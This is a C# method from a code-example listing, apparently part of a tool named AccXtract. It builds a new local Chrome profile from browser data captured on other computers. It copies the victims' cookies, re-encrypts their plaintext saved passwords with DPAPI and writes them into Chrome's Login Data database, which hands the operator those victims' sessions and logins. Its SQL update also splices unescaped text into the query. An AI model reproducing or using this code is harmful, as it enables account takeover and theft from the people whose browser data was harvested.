Пример #1
0
        private void addChromeProfile(object sender, EventArgs e)
        {
            Process[] chrome = Process.GetProcessesByName("chrome");
            if (chrome.Length == 0)
            {
                Button button      = (Button)sender;
                string profileName = button.Text;

                string       localStatePath = Environment.ExpandEnvironmentVariables("%HOMEDRIVE%%HOMEPATH%") + @"\AppData\Local\Google\Chrome\User Data\";
                StreamReader localState     = new StreamReader(localStatePath + "\\Local State");
                StreamWriter output         = new StreamWriter(localStatePath + "\\Local State.out");

                string line          = "";
                bool   foundProfiles = false;

                while (!foundProfiles && line != null)
                {
                    line = localState.ReadLine();
                    output.WriteLine(line);
                    if (line.Contains(@"""profile"": {"))
                    {
                        foundProfiles = true;
                    }
                }

                bool wroteNewProfile      = false;
                int  highestProfileNumber = 0;

                while (!wroteNewProfile && line != null)
                {
                    line = localState.ReadLine();

                    if (line.Contains(@"""Profile "))
                    {
                        string number = line[line.IndexOf('e') + 2].ToString();
                        highestProfileNumber = Convert.ToInt32(number);
                    }

                    if (line.Contains(@"}"))
                    {
                        if (!line.Contains(@","))
                        {
                            line += ",";
                            output.WriteLine(line);
                            highestProfileNumber++;

                            //WARNING
                            //do ***NOT*** modify spacing of the quoted parted in ANY WAY if you want it to keep working
                            //Chrome is very picky with this thing
                            output.Write(@"         ""Profile " + highestProfileNumber + @""": {
            ""avatar_icon"": ""chrome://theme/IDR_PROFILE_AVATAR_12"",
            ""background_apps"": false,
            ""managed_user_id"": """",
            ""name"": """ + profileName + @""",
            ""shortcut_name"": """ + profileName + @""",
            ""user_name"": """"
         }
");
                            wroteNewProfile = true;
                        }

                        else
                        {
                            output.WriteLine(line);
                        }
                    }

                    else
                    {
                        output.WriteLine(line);
                    }
                }

                while (line != null)
                {
                    line = localState.ReadLine();
                    output.WriteLine(line);
                }

                localState.Close();
                output.Close();

                GroupBox group        = (GroupBox)button.Parent.Parent;
                string   computerName = group.Text;

                string newUserProfile      = localStatePath + "Profile " + highestProfileNumber.ToString();
                string capturedUserProfile = AccXtractFolder + "\\" + computerName + "\\Chrome\\" + button.Text;

                Directory.CreateDirectory(newUserProfile);

                //Add cookies to profile
                File.Copy(capturedUserProfile + "\\cookies", newUserProfile + "\\cookies", true);

                #region Add passwords
                //Add passwords to profile

                string[] data = File.ReadAllLines(capturedUserProfile + "\\passwords.txt");

                //connect to the extracted Login Data database
                SQLiteConnection conn = new SQLiteConnection("Data Source=" + capturedUserProfile + "\\Login Data");
                conn.Open();

                //Begin re-encryption
                List <string> passwords = new List <string>();
                for (int i = 0; i < data.Length; i++)
                {
                    //get every third object (passwords)
                    //I left the other stuff in there in case someone to manually read the passwords.txt file
                    //or do something else with it

                    if (((i + 1) % 3) == 0)
                    {
                        passwords.Add(data[i]);

                        string decryptedPassword  = data[i];
                        byte[] decryptedPassBytes = Encoding.ASCII.GetBytes(decryptedPassword);
                        byte[] encryptedPassword  = DPAPI.encryptBytes(decryptedPassBytes);
                        //byte[] binEncryptedPassword = System.Text.Encoding.ASCII.GetBytes(encryptedPassword);


                        SQLiteCommand replaceData = conn.CreateCommand();
                        replaceData.CommandText = "UPDATE logins SET password_value = @pass WHERE action_url = \"" + data[i - 2] + "\"";
                        SQLiteParameter param = new SQLiteParameter("@pass", DbType.Binary);
                        param.Value = encryptedPassword;
                        replaceData.Parameters.Add(param);
                        replaceData.ExecuteNonQuery();
                    }
                }

                conn.Close();

                //End re-encryption

                File.Copy(capturedUserProfile + "\\Login Data", newUserProfile + "\\Login Data", true);



                #endregion


                File.Copy(localStatePath + "\\Local State.out", localStatePath + "\\Local State", true);
                File.Delete(localStatePath + "Local State.out");

                button.Enabled = false;
            }

            else
            {
                MessageBox.Show("Please close Chrome and try again");
            }
        }